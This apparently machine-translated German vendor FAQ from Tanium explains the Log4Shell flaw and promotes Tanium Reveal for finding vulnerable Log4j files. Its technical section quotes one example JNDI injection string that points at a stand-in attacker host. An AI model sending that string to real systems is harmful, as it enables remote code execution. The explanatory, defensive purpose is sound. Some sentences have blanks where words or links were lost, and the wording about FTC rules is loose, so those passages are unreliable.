Die IT-Welt war Ende 2021 in Aufruhr, nachdem eine kritische Sicherheitslücke vom Typ „ “ in Log4j „“ bekannt wurde, einem weit verbreiteten, auf Java basierenden Protokollierungsprogramm, das von der Apache Software Foundation gepflegt wird. Außerhalb der Branche ist es zwar nahezu unbekannt, wird jedoch weltweit in Tausenden von Programmen auf verschiedenen Betriebssystemen eingesetzt. Mit einem CVSS-Wert von 10,0 ist der erste im Produkt gefundene Fehler (“Log4Shell”) so schwerwiegend, wie eine Sicherheitslücke nur sein kann. Tatsächlich war Log4j innerhalb von 72 Stunden nach der Veröffentlichung der Sicherheitslücke Ziel von über 800.000 Angriffen .
Aufgrund der enormen Medienberichterstattung über diese Sicherheitslücke wurden die Experten von Tanium mit Fragen überschüttet. Was ist Log4Shell? Wie kann diese Schwachstelle ausgenutzt werden? Und wie können Organisationen darauf reagieren? Um Zeit zu sparen und Organisationen weltweit dabei zu unterstützen, angemessen zu reagieren und Schäden zu mindern, haben wir im Folgenden die häufigsten Fragen, die uns gestellt wurden, sowie die entsprechenden Antworten zusammengestellt.
Was ist CVE-2021-44228 (Log4Shell)?
Log4Shell ist eine Sicherheitslücke, die die Ausführung von Code aus der Ferne (RCE) ermöglicht und es einem Angreifer erlaubt, Code auszuführen, indem er eine Anwendung dazu veranlasst, in die Protokolldatei zu schreiben. Die Eingabe von Parametern in Textfelder von Anwendungen sowie andere Protokollierungsereignisse sind weit verbreitet, was zum Teil der Grund dafür ist, dass diese Sicherheitslücke so häufig auftritt.
Die anfällige Bibliothek ist möglicherweise auf Client-Systemen vorhanden und beschränkt sich nicht nur auf öffentlich zugängliche Webanwendungen.
Die technischen Details
Von Haus aus ermöglicht Log4j , dass Nachrichten über eine API namens JNDI – das Java Naming and Directory Interface – Verweise auf externe Informationen enthalten. Die JNDI-Funktionalität ermöglicht den Zugriff auf diese externen Referenzen über verschiedene Protokolle, darunter das Lightweight Directory Access Protocol (LDAP).
Wenn ein Angreifer eine böswillig gestaltete Zeichenfolge wie beispielsweise ${jndi:ldap://evil.com/bad} sendet, interpretiert der Server diese Nachricht so, dass er eine Verbindung zum LDAP-Server (evil.com) herstellt und das Objekt „bad“ anfordert. Der Server „evil.com“, der von einem böswilligen Angreifer kontrolliert wird, veranlasst die Anwendung daraufhin, eine schädliche Java-Klasse („bad.class“) zu laden.
Ist die anfällige Version Log4j vorhanden und kontrolliert der Angreifer einen LDAP-Server, kann die Datei „bad.class“ beliebige Anweisungen des Angreifers enthalten – was einer Vielzahl möglicher Angriffe Tür und Tor öffnet, von Ransomware über Cryptojacking bis hin zum Datendiebstahl.
Zusätzlich zur RCE-Schwachstelle versäumen es die anfälligen Versionen, die Eingaben des JNDI-Aufrufs zu validieren, was möglicherweise dazu führen kann, dass Systemvariablen einer Aufzählung und Exfiltration ausgesetzt werden.
Die Zahl der Sicherheitslücken in der Software-Lieferkette hat zugenommen (z. B. Struts, NPM). Wie schneidet „ Log4J “ im Vergleich ab?
Log4J ähnelt „ “, da es sich um eine Sicherheitslücke handelt, die Unternehmen nicht selbst beheben können, es sei denn, es handelt sich um eine Anwendung, die intern entwickelt und gewartet wird.
„Log4J “ unterscheidet sich von „ “, da es sich wahrscheinlich um die weitreichendste und schwerwiegendste Sicherheitslücke handelt, die wir seit einem Jahrzehnt oder länger gesehen haben, und die so schnell nicht verschwinden wird. Es betrifft alle Arten von Betriebssystemen und kann in freier/Open-Source-Software, Unternehmensanwendungen, Clients, Servern und IoT-Geräten auftreten – praktisch überall. Die Schwachstelle kann aus der Ferne ausgenutzt und für laterale Bewegungen genutzt werden; die Erkennung eines Missbrauchs stützt sich auf signaturbasierte Regeln, die Angreifer regelmäßig umgehen.
Unternehmen waren bisher gezwungen, Schwachstellen in ihrer Infrastruktur zu identifizieren, anschließend die Dokumentation bei den Anwendungsverantwortlichen bzw. Entwicklern einzuholen, um einen Patch oder eine Abhilfemaßnahme zu beschaffen und diese in großem Maßstab bereitzustellen.
Welche verbreiteten Missverständnisse gibt es bezüglich des Kurses Log4j?
- Das lässt sich leicht beheben
- Dies betrifft ausschließlich Systeme mit Internetanbindung
- Unternehmen können alle betroffenen Instanzen der Sicherheitslücke selbst beheben
- Schon die Suche nach Listen der installierten Anwendungen reicht aus, um dies festzustellen
Wie kann Tanium dabei helfen, Log4j Instanzen zu finden?
Ein Grund dafür, dass Log4Shell so gefährlich ist, liegt darin, dass Log4j schwer zu finden sein kann.
In den Systemen von Organisationen sind möglicherweise Hunderte von Programmen installiert, die diese Bibliothek nutzen. Da die Sicherheitslücke in der von der Anwendung verwendeten Bibliothek besteht, ist es ihnen nicht möglich, die Anwendung selbst zu ändern. Sie müssen abwarten, bis die Anbieter ihrer gesamten Software diese geprüft, mit Patches versehen und Aktualisierungen veröffentlicht haben. Zudem liefert eine Überprüfung der installierten Apps oder CVEs keine Hinweise darauf, welche Softwarepakete diese Bibliothek verwenden.
Tanium Reveal zeichnet sich durch seine einzigartige Fähigkeit aus, Informationen aus Dateien zu extrahieren. Es kann „manifest.mf“, „pom.xml“ oder andere Hinweise auf das Vorhandensein von Log4j innerhalb komprimierter Bibliotheken erkennen. Auf diese Weise ist Tanium Reveal die einzige Lösung, die über den Dateinamen oder die Dateiendung hinausblicken und in die Datei selbst Einblick nehmen kann. Im Fall von CVE-2021-44228 können wir nach anfälligen JAR-Dateien (.JAR-Dateien) suchen, die sich in JAR-Dateien befinden, die wiederum in weiteren JAR-Dateien enthalten sind.
Tanium und unsere Partner können Kunden Log4j Instanzen aufzeigen, die latent sind oder von anderen Tools nicht erkannt werden. Um Ihnen dabei zu helfen, bieten wir neuen und bestehenden Kunden kostenlose Unterstützung bei der Behebung und Identifizierung der Sicherheitslücke an.
Was sollte eine Organisation tun, wenn Reveal eine mögliche Übereinstimmung feststellt?
Tanium Reveal zeigt Ihnen Dateien an, bei denen Übereinstimmungen mit den Mustern festgestellt wurden; dies ist jedoch kein eindeutiger Hinweis auf eine Sicherheitslücke. Die Validierungsverfahren für PHI oder PII in Reveal können Sie hier , unter sowie in dieser Dokumentation nachlesen. Bei einer Übereinstimmung der Version Log4j ist möglicherweise keine eingehende Überprüfung erforderlich.
Falls erforderlich, können Sie jedoch zügig von den „Reveal“-Ergebnissen zur Umsetzung übergehen, um das Produkt zu ermitteln, aus dem eine verdächtige Datei stammt, die Sicherheitslücke des jeweiligen Anbieters zu überprüfen und zu entscheiden, ob Sie einen Patch installieren oder die Datei entfernen sollten.
Tanium bietet zahlreiche Möglichkeiten, tiefer in die Materie einzusteigen und richtige bzw. falsche Ergebnisse zu identifizieren. Dies sind Vorschläge für mögliche Maßnahmen, die jedoch keinen Anspruch auf Vollständigkeit erheben und in hohem Maße vom Umfeld der Organisation sowie von den bestehenden Arbeitsabläufen, Richtlinien und Prozessen abhängen.
Es ist wichtig zu beachten, dass es sich hierbei weniger um eine Reaktion auf einen Vorfall als vielmehr um eine Situation der Bedrohungssuche handelt. Die nächsten Schritte werden in hohem Maße von den Erkenntnissen der betroffenen Organisation abhängen. SANS bietet ein hervorragendes Spickzettel zum PICERL-Modell „ “ ( ) für die Reaktion auf Sicherheitsvorfälle () hier:. Gemäß diesem Modell sind Tanium Reveal und Index Teil der Schritte „Vorbereitung“ und „Identifizierung“.
Inwiefern kann der Scanner der CISA helfen?
Am 21. Dezember 2021 veröffentlichte die CISA eine Version des Open-Source-Tools „ Log4j Scanner“, das ursprünglich von fullhunt.io entwickelt wurde. Der Scanner ist zwar nützlich, funktioniert jedoch nur, wenn Sie ihn auf einen Standort richten, an dem sich ein anfälliger Endpunkt befindet und eine Anwendung auf eingehende Verbindungen wartet. Aufgrund der Ungewissheit hinsichtlich der Konfiguration der Systeme könnten dennoch anfällige Endpunkte übersehen werden.
Selbst wenn Unternehmen dieses Tool nutzen möchten, sollten sie dennoch Tanium Reveal einsetzen, um die Liste der Endgeräte, die sie testen möchten, genauer zu definieren. Sie sollten sich zudem bewusst sein, dass dieser Scanner keine anfälligen .JAR-Dateien auf der Festplatte oder in Sicherungskopien erkennt, ebenso wenig wie solche, die zum Zeitpunkt des Scans nicht ausgeführt werden.
Zudem bietet der Scanner keine Möglichkeiten, Sicherheitslücken in anfälligen Anwendungen zu beheben oder aktualisierte Patches für diese zu installieren. Es handelt sich um ein weiteres wichtiges Hilfsmittel, das bei den Bemühungen zur Behebung von Log4j behilflich ist, sollte jedoch nicht als maßgebliche oder umfassende Methode angesehen werden.
Warum sind Schwachstellen-Scans für sich genommen unwirksam?
- Die Aktualisierung von Definitionen nimmt Zeit in Anspruch, und diese Definitionen hängen von der Offenlegung des Sicherheitslückenstatus durch die Softwareanbieter ab
- Häufig basiert dies auf bekannten anfälligen Anwendungen. Bei „ Log4j“ ist es, wie auch bei anderen Bibliotheken, erforderlich, die verschiedenen Softwareebenen in Ihrer Umgebung gründlich zu durchsuchen, um sicher festzustellen,
- Viele Schwachstellenscanner wenden bei der harmlosen Ausnutzung der Schwachstelle die „Spray-and-Pray“-Methode an. Dies ist nur teilweise wirksam. Dazu muss der anfällige Dienst auf dem Port, den Sie scannen, im Listening-Modus sein. Befindet sich die Anwendung im Ruhezustand auf der Festplatte, werden diese Scanner sie nicht erkennen.
Woran erkennen Sie, dass Sie die Sicherheitslücke Log4j behoben haben?
Sobald Sie alle Patches für alle Instanzen der Software installiert haben – doch zu diesem Zeitpunkt wird es unweigerlich bereits neue Sicherheitslücken geben, die behoben werden müssen. Es ist wichtig, Sicherheit als einen Prozess zu betrachten und nicht als eine Checkliste oder eine Aufgabe, die man als „erledigt“ abhaken kann. Die Bedrohungslage entwickelt sich ständig weiter. Jedes Mal, wenn ein neues System in Ihr Netzwerk aufgenommen wird, und jedes Mal, wenn ein Forscher einen neuen Fehler entdeckt, haben Sie mehr zu tun. Aus diesem Grund ist die Fähigkeit, dynamisch zu reagieren, von entscheidender Bedeutung. Ändern Sie die Kultur, die es zulässt, dass veraltete Anwendungen weiterbestehen, nur weil sie als „unverzichtbar“ gelten. Wir müssen Veränderungen akzeptieren, nicht Risiken eingehen. Risikoakzeptanz ist eine Strategie, die Ihnen Zeit gibt, Veränderungen zu koordinieren – kein dauerhafter Zustand.
Wie lange dauert es, bis man weiß, dass man sich angesteckt hat?
Unternehmen können Tanium Reveal innerhalb weniger Stunden einführen und sofort damit beginnen, Ergebnisse zu sammeln, anhand derer sie ihre Ermittlungs- und Suchstrategie anpassen können.
Kann ich einen Partner hinzuziehen, um Tanium für die Erkennung oder Behebung von Log4j einzusetzen?
Ja. Die meisten Tanium-Partner weltweit wurden bereits informiert und sind bereit, Dienstleistungen anzubieten, um Sie bei allen Aspekten der Log4j -Analyse oder -Behebung zu unterstützen oder Ihnen dabei zu helfen, Ihre Sicherheitsinfrastruktur durch die Konsolidierung und Rationalisierung von Tools besser zu optimieren.
Inwiefern kann Reveal Ihnen noch weiterhelfen?
Tanium Reveal kann dabei helfen, Log4j zu erkennen und zu beheben, indem es:
- Aufdeckung offengelegter Passwörter
- Durchführung der dynamischen Suche
Was muss ich über die Warnung der FTC zu Log4j wissen?
Die Federal Trade Commission (FTC) hat Vorschriften erlassen , wonach alle Unternehmen diese Sicherheitslücke überprüfen und beheben müssen, da sie ebenso schwerwiegend oder sogar noch schwerwiegender ist als der Fehler in Apache Struts, der den berüchtigten Datenverstoß bei Equifax unter verursacht hat. Die FTC und die CISA sind sich bewusst, dass wir nur auf Zeit spielen, bis ein Datenleck aufgedeckt wird, das für Schlagzeilen sorgt.
Es ist sehr wahrscheinlich, dass globale Organisationen bereits über „ Log4Shell “ kompromittiert wurden und Angreifer derzeit heimlich ihre Netzwerke analysieren, Daten abziehen und weitere Angriffe vorbereiten. Es wird noch lange dauern, bis wir die tatsächlichen Auswirkungen dieser Sicherheitslücke erkennen.
Sollten Sie weitere Fragen zu „ “ bezüglich „ Log4j “ haben oder unseren kostenlosen Service zur Identifizierung dieser Sicherheitslücke in Anspruch nehmen möchten, wenden Sie sich noch heute an uns.
Bestehende Kunden finden in unserem Artikel in der Tanium-Community unter detailliertere Informationen dazu, wie Sie das Problem „ Log4j “ erkennen und beheben können. Diese Informationen werden regelmäßig aktualisiert, sobald neue Informationen vorliegen.
